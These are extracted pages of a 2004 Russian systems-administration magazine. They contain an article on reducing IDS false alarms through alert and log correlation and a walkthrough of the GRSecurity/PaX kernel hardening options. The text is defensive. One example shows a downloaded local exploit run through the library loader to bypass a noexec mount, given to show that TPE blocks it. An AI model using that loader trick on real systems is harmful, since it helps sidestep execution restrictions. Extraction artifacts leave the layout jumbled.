сматривают сетевой трафик и реагируют на сетевые ата-ки, в то время как HIDS защищают отдельный узел. При-чем такое разделение обязанностей привело к тому, чтоNIDS не понимают, что происходит непосредственно на ком-пьютере и оказываются бесполезны при шифровании тра-фика и наоборот, системе, защищающей хост, абсолютновсе равно, что там творится в сети. Выходом из этой ситуа-ции послужило создание гибридных IDS, сочетающих в себедостоинства тех и других. В последнее время все чаще IDSразделяют на собственно IDS, отвечающие за сбор статис-тики, и IPS (Intrusion Prevention Systems, система предотв-ращения атак) – системы, позволяющие реагировать на ата-ки. Если в первом случае админ будет просто завален боль-шим количеством (в том числе ложных, отвлекающих пре-дупреждений), то во втором случае ошибка в определенииможет иметь более неприятные последствия вроде отказав доступе вполне лояльным пользователям. И не секрет,что сегодня именно IDS благодаря своим «достоинствам»подчас подвергаются атаке, атакующий таким образом ста-рается сбить администратора с толку, ввести дезинформа-цию, отвлечь внимание.

Некоторые моделиповышения точности системМожно выделить три класса корреляции результатов. На-пример, возможно отобрать все предупреждения, основы-ваясь на подобии неких атрибутов атаки. Как пример одини тот же IP-адрес, такой метод позволяет обнаружить скры-тое сканирование сетей, но, скорее всего, такой подход несможет полностью обнаружить все зависимости между пре-дупреждениями, хотя бы по причине того, что некоторыепараметры очень легко изменить во время атаки, но всеравно все угрозы, исходящие из одного адреса, будут рас-сматриваться как одна, а не несколько угроз, от ложныхтревог такая схема не спасет. Но средства вывода инфор-мации IDS-систем позволяют рассмотреть собранные дан-ные под любым углом, каким только ни пожелает ее про-смотреть и проанализировать админ (IP-адресам, сервисами пр.), так что проблемы этого класса, можно сказать, ужерешены. Также, кроме IP-адреса, сюда можно включить иподобие пакетов, так, например, некоторые реализации про-грамм для DoS-атак подменяют только IP-адрес отправите-ля, поэтому, захватив такие пакеты, можно обнаружить ихпочти полную идентичность (установленые флаги, ttl, раз-мер окна приема/передачи), отсюда можно сделать вполнелогичное заключение о том, что это одна угроза, а не не-сколько, и не засорять вывод. Хотя подобные атаки доволь-но хорошо описываются отдельными методами следующихдалее классов. При отборе результатов возможно следо-вание хорошо изученным методикам атак, это так называ-емые механизмы последствия, но при отклонении в сцена-рии атаки такая система может и не отреагировать. К томуже механизмы последствия используют методы, которыераспознают предупреждения, уровень серьезности атаки ивременной интервал между двумя связанными предупреж-дениями, что не дает достаточно информации, позволяю-щей собрать воедино всевозможно связанные предупреж-дения. Кроме того, непросто предсказать, как нападающийможет производить атаку или ее части, т.е. разработать до-

статочно точный набор последствий довольно тяжело. Хотяв общем такие системы позволяют уменьшить объем вы-водимой информации, собирая в один вывод все возмож-ные предупреждения, соответствующие некоему возмож-ному последствию. Поэтому в данном классе наиболее пер-спективным мне кажется вариант модели самообучающихсясистем. Такой подход позволит автоматически формиро-вать модели для корреляции данных, однако это потребуетобучения в каждом отдельном случае.

И последний класс применяет более комплексный под-ход, используя как предпосылки, так и последствия атак.При этом предпосылка атаки определяет то, что должнобыть удовлетворено для успешной атаки, а последствиеатаки описывает то, что должно произойти в том случае,когда атака действительно удается. При таком подходе этоткласс позволяет раскрыть зависимости между предупреж-дениями и, главное, не ограничен только известными сце-нариями атаки, хотя некоторые методики не отличают не-сколько реализаций одной и той же атаки. Все используе-мые методы третьего класса основаны на предположении,что атака узла связана в несколько часто изолируемых ста-дий с подготовкой в начале и переходит к более активнымдействиям в конце. Так, например, сканирование и сбор бан-неров (т.е. предпосылка атаки) должны указать злоумыш-леннику на используемые (и возможно, уязвимые) серви-сы, действия же вслепую могут привести к успеху только вдовольно небольшом количестве случаев (для конкретнойсистемы). Существование уязвимых сервисов является хо-рошей предпосылкой для начала атаки и получения досту-па к системе. Эту ситуацию в самой простой форме можнопредставить как Host(IP, Port). Но для успешной атаки тре-буется, чтобы компьютер с такими параметрами был дос-тупен для нападающего, т.е. не был прикрыт firewall. Отсю-да условие, необходимое для успешной атаки, приобрета-ет такой вид: Host(IP, Port) && AccessibleFirewall(IP, Port), ичтобы атака удалась, как вариант необходимо наличиеVulnerableWeb Server(IP). Учитывая, что IDS, прослушиваятрафик и анализируя результат, «не знает» о настройкахfirewall и запущенных сервисах, поэтому сигнализирует обовсем, что обнаруживает, поэтому если отфильтровать не-нужную информацию, можно убрать часть ложных тревог.При описании последствий атаки (действительно возмож-ного исхода) используется набор предикатов вродеRootAccess(IP), DOSAttask(IP), SystemCompromised(IP) и т. д.Но атака не обязательно может генерировать заявленноепоследствие. Например, сервис выполняется в изолирован-ной chroot-среде или на сервере установлен один из паке-тов, защищающих от возможных последствий переполне-ния буфера libsafe, LIDS и пр. Но все равно в моделях ис-пользуется понятие возможных последствий, а не факти-ческих, по причине того, что IDS не может иметь достаточ-но информации, чтобы принять решение об эффективнос-ти атаки. Для того чтобы отслеживать повторяющиеся стечением времени атаки и не засорять вывод, к отслежи-ваемым параметрам возможно добавление временного ин-тервала. Также в некоторых моделях позволяется частич-ное удовлетворение предпосылок и последствий, что по-вышает точность, позволяя определить и соединить в однопредупреждение, в том числе и случайные атаки, когда на-

Page 46: 022 Системный Администратор 09 2004

44

безопасность

падающий вначале пробует сеть на уязвимость, просто ука-зав диапазон адресов в надежде на успех. При этом стоитзаметить, что в моделях рассматриваются в первую оче-редь параметры объекта атаки, т.е. сам уязвимый узел. Па-раметры нападающей системы менее интересны и имеютменьшее значение для корреляции результатов, что, согла-ситесь, вполне логично, т.к. тот же IP-адрес можно поме-нять, используя любой анонимный прокси-сервер, да и боль-шинству админов абсолютно нет никакого дела, кто егосейчас атакует, главными остаются сам факт атаки, служ-ба, подвергшаяся нападению, желание остановить вторже-ние и уменьшить потери. Но естественно, данные атакую-щей системы в окончательном результате фигурируют.«Факт», «предпосылка», «последствие» – главные слова вмоделях третьей группы.

Что для этого нужно?Математика – это, конечно, хорошо, но для ее работы тре-буются данные. Традиционные системы обнаружения атакработают, как правило, только с одним типом датчиков –сетевым или контролирующим параметр на самом хосте.Но такой подход не позволяет увидеть и оценить картину вцелом, а в случае возникновения угрозы сразу найти и ло-кализовать ее источник. Для более эффективной работысистем IDS требуется комплексный подход, чтобы системамогла иметь полную картину происходящего, только в та-ком случае возможно уменьшение количества ложных тре-вог и корреляции данных.

Если с сетевыми IDS ситуация более-менее ясна, кро-ме традиционного поиска в пакетах сигнатур атак, основ-ные усилия сосредоточены на создании самообучающихсясистем, реагирующих на аномалии (я думаю, это тема от-дельного разговора и поэтому сейчас затрагивать ее небуду). Кроме того, основное усилие сейчас сосредоточенона создании распределенных систем, позволяющих опре-делять скоординированные атаки в больших сетях. Такиесистемы, как правило, состоят из нескольких мониторов,способных общаться друг с другом при определении рас-пределенных атак, решающего устройства для анализа со-бранных данных, и базы данных, предназначенной для хра-нения информации. Но все равно для успешного 100% точ-ного детектирования одной информации мало, поэтомусейчас заметны усилия по объединению систем IDS в ком-плексы. Интересны и перспективны исследования зависи-мостей некоторых параметров при возникновении тех илииных внештатных обстоятельств.

Например, резкое увеличение количества процессов,загрузка CPU, объем занимаемой памяти отдельным про-цессом, открытие новых сетевых соединений, подозритель-ные, т.е. не характерные для данного сервиса последова-тельность системных вызовов и объемы передаваемой/при-нимаемой информации и сопоставление полученных ре-зультатов. Работа такая ведется, и уже имеются некие ал-горитмы, но для UNIX-систем не характерна унификацияприложений, и отследить статистику всех вариантов слож-нее. Особое внимание исследователей обращено на сис-темные журналы, в которых имеется вся информация о том,что происходит на компьютере. Сопоставляя данные, полу-ченные из различных журналов (в том числе и систем IDS,

контроля целостности, honeypot, firewall и пр.), можно сде-лать вывод о попытке и эффективности атак, кроме того,некоторые неочевидные атаки могут не проявиться в од-ном журнале, но при сопоставлении нескольких уже можносвязать все воедино и увеличить КПД систем IDS. При изу-чении этого вопроса используется два способа. Первый –берут известную атаку и анализируют записи, оставленныев системных журналах, это позволяет найти общее и выя-вить классы атак, получить статистику и составить списокжурналов, в которых обнаруживаются следы тех или иныхатак. Во втором способе исследователи сами пробуют опоз-навать образы атак в многочисленных журналах, выявитьаномалии и вывести некие законы. Как пример таблица«Log correlation table», найденная мной в документе «LogCorrelation for Intrusion Detection: A Proof of Concept» (http://www.ncassr.org/projects/sift/papers/ACSAC03.PDF), правда,стоит отметить, что syslog собирает информацию от не-скольких источников и поэтому содержащаяся в нем инфор-мация может отличаться в зависимости от настроек конк-ретной системы.

Надо отметить, что тестовые системы, на которых об-катывались методики, описанные в этом пункте, были спо-собны автоматически выявить начало вирусной эпидемиии многие другие аномалии.

Несмотря на то, что работа по уменьшению ошибок си-стем обнаружения атак ведется уже давно, мне пока неудалось найти законченных приложений, которые можнобыло рекомендовать для применения, особенно это каса-ется свободных проектов. Некоторые ссылки ведут в пус-тоту, некоторые проекты уже стали коммерческими, и тех-нологии скрыты за семью печатями, получить доступ дажедля тестирования не удается, на сайтах организаций, ра-нее занимавшихся этим вопросом, можно найти лишь не-которые обрывки (некоторые доступны только для нужд об-разования), позволяющие оценить прогресс, но не собратьсистему. Наиболее близко из OpenSource-систем к реше-нию стоят разработчики гибридной IDS Prelude (http://www.prelude-ids.org), о которой речь шла в июньском номе-ре журнала за этот год. По крайней мере сам принцип по-строения этой системы, доступные датчики, анализирую-щие аномалии как в сети, так и на отдельном хосте, вклю-чая анализ логов и уже имеющиеся скрипты (http://www.rstack.org/oudot/prelude/correlation) позволяют надеять-ся, что эта работа будет все-таки доведена до конца.

Ближайшим, если можно так выразиться, конкурентом,вероятно, является довольно интересный проект STAT (State

Page 47: 022 Системный Администратор 09 2004

45№9(22), сентябрь 2004

безопасность

Transition Analysis Technique, http://www.cs.ucsb.edu/~kemm/netstat.html/projects.html), в котором имеется все, что необ-ходимо для нормальной работы системы и коррелляциипоступающих данных: сетевые и хост scenario-based-дат-чики, и в том числе уже разработан один датчик уровня при-ложений (application-based) для веб-сервера Apache, ана-лизаторы логов, менеджер и специальный модуль для ана-лиза, предназначенный для идентификации атак, в том чис-ле и многоступенчатых. Подробнее о работе STAT – в сле-дующем номере журнала.

Из других разработок стоит отметить работу Колумбий-ского университета MADAM ID – Mining Audit Data forAutomated Models for Intrusion Detection(Columbia IDS), яв-ляющуюся частью большого пректа JAM – (Java Agents forMeta-Learning) (http://www.cs.columbia.edu/jam), уже, кстати,тоже успевшего лицензировать свою технологию для ком-мерческой разработки компанией System Detection, INC.http://www.sysd.com/, которая, в свою очередь, обещает вскором выпустить готовые продукты, умеющие распозна-вать аномальные явления в сети, устранять ложные сраба-тывания и пр. Основная идея проекта JAM состоит в том,чтобы, используя данные, полученные от нескольких раз-нородных датчиков, используя свои модели, коррелироватьих в некий набор правил, способных произвести общее опи-сание среды, в которую они включены. Судя по описанию,

система способна к самообучению, работе в режиме ре-ального времени, возможно обнаружение в том числе икомплексных атак, растянутых во времени, двумя способа-ми anomaly и misuse detection, построение затем сценарияатаки. Сам проект разделен на подпроекты, в которых раз-рабатывается один из компонентов (привожу здесь для того,чтобы вы смогли оценить размах и сравнить с имеющими-ся системами):! HoBIDS – Host Based IDS – контролирует процессы и логи

на отдельном хосте, поставляет данные для дальней-шего анализа.

! HAUNT – Network Based IDS – осуществляет анализ па-кетов и обнаружение атак на основе точно установлен-ных правил.

! AMG – Adaptive Model Generation – формирует и при не-обходимости обновляет модель поведения системы в ре-альном масштабе времени, используя данные датчика.

! DIDS – Distributed IDS System – координирует действияHoBIDS и HAUNT и, основываясь на полученных сооб-щениях, принимает решения об атаках и генерируетпредупреждающие сообщения.

! MEF – Malicious program E-mail Filter – просмотр e-mailвложений, при нахождении вируса останавливает рас-пространение. В работе использует различные, в томчисле и адаптивные алгоритмы.

Ðèñóíîê 1

Page 48: 022 Системный Администратор 09 2004

46

безопасность

! DWARF – Data Warehousing for IDS – представляет со-бой централизованное хранилище данных.

! FWRAP – File System Wrappers – монитор, отслеживаю-щий записи в файловую систему для обнаружения атак.

! ASIDS – Advanced Sensors Project – поставляет данныек DWARF.

! IDSMODELS – коллекция различных алгоритмов для вза-имодействия всех компонентов.

Компания Promia, Incorporated (http://www.promia.com),которая на сайте http://seclab.cs.ucdavis.edu выступает спон-сором проекта «Intrusion Detection Analysis Project», в ре-зультате создала инструмент Intelligent Agent SecurityManager (IASM). IASM собирает информацию от многочис-ленных источников IDS, firewall, роутеров, VPN и пр., соби-рает все в кучу и анализирует. В результате своей работыотсеивает ложные тревоги систем IDS, отфильтровывая не-существенные для охраняемой сети события, позволяетбыстро оценить сложившуюся ситуацию, способен выявитьновые атаки.

Следующий инструмент TIAA – A Toolkit for Intrusion AlertAnalysis (http://discovery.csc.ncsu.edu/software/correlator),который разработан для того, чтобы облегчить интерактив-ный анализ, используя предупреждения, сделанные систе-мой обнаружения атак. Пока это еще прототип, демонстри-рующий возможности корреляции, основанный на предпо-сылках и последствиях известных атак (рис. 1). Написан наJava и протестирован с Windows 2000/XP c MS SQL Server,используя JDBC, но, очевидно, его можно подружить и спарочкой GNU/Linux с MySQL.

Open Source-проект QuIDScor (http://quidscor.sourceforge.net) демонстрирует соответствие информации, полу-ченной от IDS SNORT и утилитой оценки уязвимостиQualysGuard, триал-версию которой можно взять с http://www.qualys.com/?page=services/qg. При обнаружении IDSсобытия QuIDScor отыскивает в сообщении QualysGuardрелевантное событие и пытается дать ему оценку в видеодной из трех основных категорий: Validated, Unknown иInvalidated и подкатегорий.

Если нужно визуально оценить характер трафика в сетии выявить перекосы, свидетельствующие о возможных про-блемах, то в этом случае могут помочь утилиты SecurityIncident Fusion Tools, к которым относятся NvisionIP (http://distribution.ncsa.uiuc.edu/nvision/NVisionIPv0_2Install.tar.gz) иVisFlowConnect (http://distribution.ncsa.uiuc.edu/visflow/index.html). Утилиты Security Incident Fusion Tools, анализи-

руя журналы, полученные при помощи других утилит, навыходе выдают графическое представление всех проходя-щих пакетов, некий снимок сети, при этом различие линийпо толщине, цвету и направлению позволяют визуально оце-нить количественные параметры и таким образом получить«снимки» нормальной сети, в случае же существенных от-клонений можно сделать вывод о том, что в сети происхо-дит что-то необычное. Для установки NvisionIP вам понадо-бится D2K – Data to Knowledge (http://alg.ncsa.uiuc.edu/do/downloads/d2k), представляющая собой гибкую обучающу-юся систему, в которой интегрированы эффективные ана-литические данные, методы для прогнозирования и детек-тирования изменений. Распространяется D2K под AcademicUse License и для возможности ее бесплатной закачки вампотребуется адрес электронной почты в домене edu илиочень убедительные аргументы при отсутствии такового.

Итак, современные IDS первого поколения не лишенынедостатков и требуют существенного пересмотра самогопроцесса обнаружения угроз, математики уже более-менееразобрались с этой проблемой, дело стало за программис-тами, которые смогут реализовать требуемые алгоритмына практике. Остается надеяться, что осталось ждать не-долго. Успехов.

Литература:1. Top 10 Requirements for Next-Generation IDS

(http://www.intruvert.com)2. Intrusion Detection Systems B U Y E R ’ S G U I D E

(http://www.ipa.go.jp/security/fy11/report/contents/intrusion/ids-meeting/idsbg.pdf)

3. MINDS – Minnesota Intrusion Detection System(http://www-users.cs.umn.edu/~aleks/MINDS/MINDS.htm)

4. Insertion, Evasion, and Denial of Service: Eluding NetworkIntrusion Detection(http://secinf.net/info/ids/idspaper/idspaper.html)

5. Constructing Attack Scenarios through Correlation ofIntrusion Alerts(http://discovery.csc.ncsu.edu/pubs/AttackScenarios.ps)

6. Analyzing Intensive Intrusion Alerts Via Correlation(http://discovery.csc.ncsu.edu/pubs/raid-02-ning.pdf)

7. Design and Implementation of A Decentralized PrototypeSystem for Detecting Distributed Attacks(http://discovery.csc.ncsu.edu/pubs/cards.pdf)

8. Adapting Query Optimization Techniques for EfficientIntrusion Alert Correlation(http://discovery.csc.ncsu.edu/pubs/FastCorrelation.pdf)

9. Tools and Techniques for Analyzing Intrusion Alerts(http://discovery.csc.ncsu.edu/~pning/pubs/tissec04.pdf)

10. Building Attack Scenarios through Integration ofComplementary Alert Correlation Methods(http://discovery.csc.ncsu.edu/~pning/pubs/NDSS04_final.pdf)

11. False Positives: A User’s Guide to Making Sense of IDS Alarms(http://www.icsalabs.com)

12. Common Intrusion Detection Framework(http://seclab.cs.ucdavis.edu/cidf)

13. Закляков П. Обнаружение телекоммуникационных атак:теория и практика Snort. – журнал «Системный адми-нистратор», №10(11), октябрь 2003 г. – 48-67 с.

Ðèñóíîê 2

Page 49: 022 Системный Администратор 09 2004
Page 50: 022 Системный Администратор 09 2004

48

безопасность

GRSecurity – система безопасности для Linux, состоящаяиз патча к ядру и управляющей программы. На момент на-писания статьи актуальными были версии:! grsecurity-2.0-2.4.26.patch! gradm-2.0.tar.gz

GRSecurity предлагает в помощь администратору, же-лающему обезопасить свои сервера, следующие возмож-ности:! Защита от атак типа «переполнение буфера» с помо-

щью проекта PaX.

GRSecurity

КИРИЛЛ ТИХОНОВ

Page 51: 022 Системный Администратор 09 2004

49№9(22), сентябрь 2004

безопасность

! Role-Based Access Control – контроль доступа на осно-ве ролей.

! Случайные ID процессов.! Защищенный просмотр процессов.! Change root hardening – защита смены корневого ката-

лога.! Защита /tmp.

Кроме того, GRSecurity ограничивает процессы по:! доступу к файловой системе;! конфигурированию устройств;! сетевому доступу;! ресурсам системы.

Центральная идея всех RBAC-систем – ограничениепользователей, особенно суперпользователя root. В резуль-тате, если злоумышленник получит доступ root, он ничегоне сможет сделать с системой. Кстати, с самим получени-ем доступа тоже возникают большие проблемы, посколькуудаленные и локальные эксплоиты больше не сработают.Значит, остаются либо метод прослушивания трафика, ко-торый в 99% ничего не даст, либо социальная инженерия.

По GRSecurity почти полностью отсутствует документа-ция, за исключением официальной, датированной 1 апреля2003 года. Вышеуказанная документация рассматриваетпервую версию GRSecurity, которая в настоящее время офи-циально не поддерживается. А уж русскоязычных описанийпродукта на просторах Интернета не было найдено ни одно-го. В этой статье будет рассмотрена установка и настройкавторой версии GRSecurity, имеющей по сравнению с первойнесколько принципиальных отличий в лучшую сторону.

УстановкаОбладателям Gentoo Linux этот раздел можно пропустить,поскольку вся установка сводится к:

Необходимо учитывать, что в стандартном ядре Gentoo-sources уже есть поддержка GRSecurity, но только первойверсии. Поэтому надо использовать ядро grsec-sources, всостав которого входит GRSecurity второй версии.

В зависимости от дистрибутива, используемого вами всистеме, может присутствовать либо порт, как в Gentoo,либо rpm- или dep-пакет. Желательно использовать их.Однако если пакетов для вашего дистрибутива нет – уста-навливаем из исходников. Приступим к установке gradm:

Накладываем патчи на исходные тексты ядра:

В меню появился новый пункт – grsecurity. После егоактивации надо решить, какой уровень защиты будет ис-пользоваться:

! low! medium! hard! custom

Выбираем уровень custom, после его активации станутдоступными несколько подменю:

PaX Control (Настройка PaX)В этом разделе указываем методы пометки бинарных фай-лов для использования PaX.! Support soft mode OFF – эта опция задает работу PaX в

«мягком» (soft) режиме. В этом режиме опции PaX непрописаны по умолчанию и относятся только к явно от-меченным выполняемым файлам. Также надо опреде-лить поддержку PT_PAX_FLAGS, поскольку это един-ственный метод отметки выполняемых файлов в мяг-ком режиме работы. Мягкий режим можно активироватьс помощью команды загрузчику «pax_softmode=1». Кро-ме того, можно управлять различными особенностямиPaX через /proc/sys/kernel/pax.

! Use legacy ELF header marking ON – позволяет управлятьопциями PaX с помощью утилиты chpax, доступной по ад-ресу http://pax.grsecurity.net/. Флаги управления будут чи-таться из зарезервированной части заголовка ELF-фай-ла. Эта маркировка имеет многочисленные недостатки –нет поддержки мягкого режима, инструментарий не знаето нестандартном использовании заголовка ELF-файла.

! Use ELF program header marking ON – дает возможностьуправлять настройками PaX с помощью утилиты paxctl.Флаги управления будут читаться из определенной PaXчасти заголовка ELF-файла. Этот способ маркировкиподдерживает оба режима работы, к тому же существу-ет патч для binutils, позволяющий инструментарию ра-ботать с этими заголовками.

! MAC system integration NONE – эта опция нужна толькодля разработчиков.

Address Space Protection(Защита адресного пространства)В данном разделе надо сконфигурировать PaX как частьGRSecurity. PaX – это сторонний проект, включенный вGRSecurity, поскольку является важным компонентом фи-лософии безопасности. PaX предотвращает переполнениебуфера и обеспечивает случайное размещение процесса впамяти, что является эффективной защитой от атак, осно-ванных на срыве стека.

# cd gradm-2.0# make# make install

# cd linux-2.4.26# patch �Np1 �i ../grsecurity-2.0-2.4.26.patch# make menuconfig

# emerge grsec-sources# emerge gradm

Ðèñóíîê 1

Page 52: 022 Системный Администратор 09 2004

50

безопасность

! Enforce Non-executable pages ON – некоторые архи-тектуры не защищают страницы памяти, но даже еслии защищают – сам Linux не обеспечивает такую за-щиту. Это означает, что если страница доступна длячтения, то она также доступна и для выполнения кода.Существует известная технология взлома, когда ата-кующий может подставить свой код в память атакуе-мой программы, и этот код будет выполнен. Если ата-куемая программа была запущена с более высокимипривилегиями, то злоумышленник может поднять своипривилегии до уровня привилегий пораженной про-граммы. Включение этой опции позволит манипули-ровать разными опциями, предотвращающими такиевзломы.

! Paging based non-executable page ON – эта функция ос-нована на использовании особенности CPU. На i386это имеет разное воздействие на приложения в зави-симости от способа использования памяти.

! Segmentation based non-executable page ON – включе-ние этой опции позволит использовать особенностисегментации CPU, однако приложения будут ограни-чены адресным пространством в 1.5 Гб вместо 3 Гб.

! Emulate trampolines OFF – некоторые программы и биб-лиотеки по той или иной причине пытаются выполнитьспециальные небольшие куски кода, находящиеся внут-ри невыполнимой страницы памяти. Наиболее извест-ные примеры – сообщения о коде возврата обработчи-ка, генерированные непосредственно ядром. Если выуказали опции CONFIG_GRKERNSEC_PAX_PAGEEXECили CONFIG_GRKERNSEC_PAX_SEGMEXEC, то такиепрограммы не будут работать с вашим ядром.

! Restrict mprotect() ON – использование этой опции зап-ретит программам:! изменение состояния страниц памяти, созданных

только для чтения (запрет выполнения);! давать доступ на запись страницам с правами чте-

ния и выполнения;! создание выполняемых страниц анонимной памяти.

! Address Space Layout Randomization ON – при включе-нии этой опции память будет выделяться программе бло-ками со случайным смещением в адресном простран-стве, и предсказать, где будет находится буфер вводапрограммы, нельзя, а это в свою очередь приводит ктому, что атаки на переполнение буфера не будут рабо-тать.

! Randomize kernel stack base ON – эта опция заставитядро использовать случайный ядерный стек для каждойзадачи.

! Randomize user stack base ON – заставляем ядро исполь-зовать случайный пользовательский стек для каждойзадачи.

! Randomize mmap() base ON – приказываем использо-вать случайный базовый адрес запросов mmap(). Сис-темный вызов mmap() служит для передачи обширныхмассивов данных между процессами и позволяет обра-щаться к участку файла как к оперативной памяти. Дан-ные, которые процесс читает из указанной области па-мяти, по мере надобности считываются из файла, а те,которые он туда пишет, когда-нибудь попадут на диск.

! Randomize ET_EXEC base ON.! Deny writing to /dev/kmem, /dev/mem and /dev/port ON –

запрет на запись в /dev/kmem, /dev/mem и в /dev/port спомощью mmap() или другими способами изменять па-раметры ядра.

! Disable privileged I/O OFF – запрет на использование си-стемных вызовов ioperm и iopl, поскольку они могут при-меняться для модификации ядра.

! Remove addresses from /proc/<pid>/[maps|stat] ON – зап-рет на выдачу информации из /proc/<pid>/[maps|stat].

! Hide kernel symbols OFF – включение этой опции позво-лит читать информацию о загруженных модулях толькопользователям с установленной «способностью»CAP_SYS_MODULES.

Role Based Access Control Options(Настройка RBAC)В данном разделе необходимо указать настройки системыRBAC, включая количество неудачных попыток ввода па-роля и длину временного интервала, в течение которогоаутентификация будет заблокирована, когда количествонеудачных попыток превысит установленную величину.! Hide kernel processes ON – эта опция добавит дополни-

тельный ACL для ядра, который скроет все ядерные про-цессы.

! Maximum tries before password lockout 3 – максимальноечисло попыток ввода пароля.

! Time to wait after max password tries, in seconds 30 –время в секундах, на которое будет заблокирована си-стема после последней неудачной попытки ввода па-роля.

Filesystem protection(Защита файловой системы)В этом разделе необходимо определить ограничения фай-ловой системы, включая ограничение /proc, которое по-зволяет пользователю просматривать только свои процес-сы, ограничение /tmp и ограничение chroot, что существен-но повысит безопасность программ, работающих в chroot-окружении.! Proc restriction ON – ограничение файловой системы

/proc. Возможно запретить пользователям видеть всепроцессы, либо разрешить только просмотр своих.

! Restrict to user only OFF – при включенной опции непри-вилегированные пользователи смогут видеть толькособственные процессы.

! Allow special group ON – разрешить специальную груп-пу, члены которой смогут просматривать все процессы,сетевую информацию, информацию ядра и модулей.

! GID for special group 1001.! Additional restrictions ON – дополнительные ограничения

на /proc, не позволяющие обычным пользователям чи-тать информацию о CPU и о системных устройствах.

! Linking restrictions ON – защита мягких (soft) и жестких(hard) ссылок.

! FIFO restrictions ON – пользователи не смогут писать вне принадлежащий им FIFO в доступной всем на записьдиректории (например, /tmp), за исключением случая,когда владелец FIFO является владельцем директории.

Page 53: 022 Системный Администратор 09 2004

51№9(22), сентябрь 2004

безопасность

! Chroot jail restrictions ON – при включении этой опциистанет доступна группа опций, реализующих защитуchroot. Все последующие опции относятся к процессамвнутри chroot.

! Deny mounts ON – процессы не смогут монтировать фай-ловые системы.

! Deny double-chroots ON – процессы не смогут сделатьдвойной chroot за пределы первого.

! Deny pivot_root in chroot ON – запрет на использованиефункции pivot_root(). Эта функция способна разрешитьвыход процессу за пределы chroot.

! Enforce chdir(“/”) on all chroots ON – корневой каталогchroot будет установлен в качестве текущей рабочей ди-ректории для всех chroot-программ.

! Deny (f)chroot +s ON – процесс не сможет выполнитьchmod и fchmod для файлов с целью установить suid илиsgid бит.

! Deny fchdir out of chroot ON – запрет на использованиеизвестной технологии прерывания chroot с помощьюfchdir.

! Deny mknod ON – запрет на использование mknod.! Deny shmat() out of chroot ON – запрет на присоединение

к сегменту памяти процессов, запущенных вне chroot.! Deny access to abstract AF_UNIX sockets out of chroot ON –

процессы внутри chroot не способны подсоединяться ксокетам вне chroot.

! Protect outside processes ON – запрет на посыл спецсиг-налов процессам вне chroot.

! Restrict priority changes ON – запрет на повышение при-вилегий процессов.

! Deny sysctl writes in chroot ON – запрет на использова-ние sysctl.

! Capability restrictions within chroot ON – всем процессам,принадлежащим пользователю root, запрещается рабо-та с модулями, сырым вводом-выводом, системными исетевыми задачами и т. д.

Kernel Auditing (Аудит ядра)Тут мы должны определить значения различных опций ауди-та, которые отвечают за вывод полезной для администра-тора информации.! Single group for auditing OFF – эта опция позволяет вы-

водить информацию о конкретном пользователе илигруппе. Удобно в случае слежения за конкретнымпользователем или группой.

! Exec logging OFF – протоколирование запуска файлов.! Resource logging ON – протоколирование использова-

ния системных ресурсов.! Log execs within chroot OFF – все запуски файлов внут-

ри chroot будут протоколироваться с помощью syslog.! Chdir logging OFF – протоколирование всех вызовов

chdir() (смена каталога).! (Un)Mount logging OFF – протоколирование монтирова-

ния и размонтирования файловых систем.! IPC logging OFF – протоколирование создания и удале-

ния очереди сообщений, семафоров, общей памяти.! Signal logging ON – протоколирование важных сигналов

(SIGSEGV), поскольку они являются признаком попы-ток взлома.

! Fork failure logging ON – протоколирование всех попы-ток fork().

! Time change logging ON – протоколирование попыток из-менения системного времени.

! /proc/<pid>/ipaddr support OFF – к информации о процес-се добавится IP-адрес пользователя, его запустившего.

! ELF text relocations logging OFF – только для разработ-чиков.

Executable Protections(Защита бинарных файлов)Здесь надо указать опции, относящиеся к созданию про-цессов и доступу бинарных файлов к системе.! Enforce RLIMIT_NPROC on execs ON – для пользовате-

лей с ограничениями на количество процессов значе-ния этих ограничений будут проверяться в процессе вы-зова execve(). Без этой опции система будет проверятьзначения ограничений только при вызове fork().

! Dmesg(8) restriction ON – запрет на пользование dmesgпользователям без прав root.

! Randomized PIDs ON – генерирование PID случайнымобразом.

! Trusted path execution OFF – включение этой опции по-зволяет определить недоверенных пользователей. Этипользователи не будут способны запускать файлы, на-ходящиеся вне принадлежащей root директории, но дос-тупной на запись только root. Вот простой пример.Возьмем Linux-машину, в которой есть пользовательadmin. Файловая система для этого пользователя смон-тирована с опцией noexec. Пользователь скачивает эк-сплоит «local kernel panic». Если он запустит этот эксп-лоит (/lib/...so ~/exploit), то ядро упадет. Однако есливключена опция TPE, то ядро выдаст segmentation fault,машина будет продолжать нормально работать, а в ло-гах появится такая запись:

Network Protection (Сетевая защита)Здесь надо указать опции, отвечающие за генерацию слу-чайных чисел, используемых при работе с TCP/IP-стеком изащиту сокетов.! Lager entropy pools ON – увеличение в два раза пула

энтропии, используемой для многих функций Linux иGRSecurity.

! Truly random TCP ISN selection ON – использование слу-чайных TCP ISN, взято из OpenBSD.

! Randomized IP IDs ON – случайные id пакетов.! Randomized TCP source ports ON – использование слу-

чайного порта источника.! Randomized RPC XIDs ON – случайный XID в RCP-зап-

росе.! Socket restrictions OFF – ограничение сокетов.

Sysctl supportВ этом разделе можно включить поддержку sysctl дляGRSecurity. Это позволит изменять конфигурациюGRSecurity во время выполнения без перекомпиляции ядра.Поскольку по умолчанию при запуске все опции GRSecurity

denied untrusted exec of “~/exploit”: “admin”’s uid...

Page 54: 022 Системный Администратор 09 2004

52

безопасность

будут отключены, потребуются изменения инициализиру-ющего скрипта, в который придется прописывать включе-ние всех необходимых опций, и делать его недоступным длячтения обычным пользователям. Поэтому включение под-держки sysctl не рекомендуется.

Logging optionsОпределяем параметры протоколирования.! Seconds in between log messages (minimum) 10 – время

между регистрацией сообщений.! Number of messages in a burst (maximum) 4 – максималь-

ное число сообщений, регистрируемое за время, опре-деленное предыдущей опцией.

Компилируем ядро, перегружаемся.

КонфигурированиеПодготовительный этап закончен, теперь разберем конфи-гурацию GRSecurity.

Центральным понятием является Role (роль), котораяможет быть нескольких типов:! A – административная роль;! N – не требует авторизации, для доступа к ней приме-

няется команда gradm –n <rolename>;! s – специальная роль;! u – пользовательская роль;! g – групповая роль;! G – роль может использовать gradm для аутентифика-

ции в ядре, ACL для gradm добавляется автоматически;! T – включает TPE для роли;! l – режим обучения роли.

Как вы могли заметить, роль может быть 3 типов –пользовательская, групповая и специальная. Пользователь-ская роль может быть описана для любого системногопользователя, соответственно групповая – для любой сис-темной группы. Например, если bind запускается из-подпользователя named, то для его корректной работы необ-ходимо описать пользовательскую роль:

Если в системе присутствуют системные почтовые поль-зователи, состоящие в группе users, то для корректной ра-боты почты необходимо описать групповую роль:

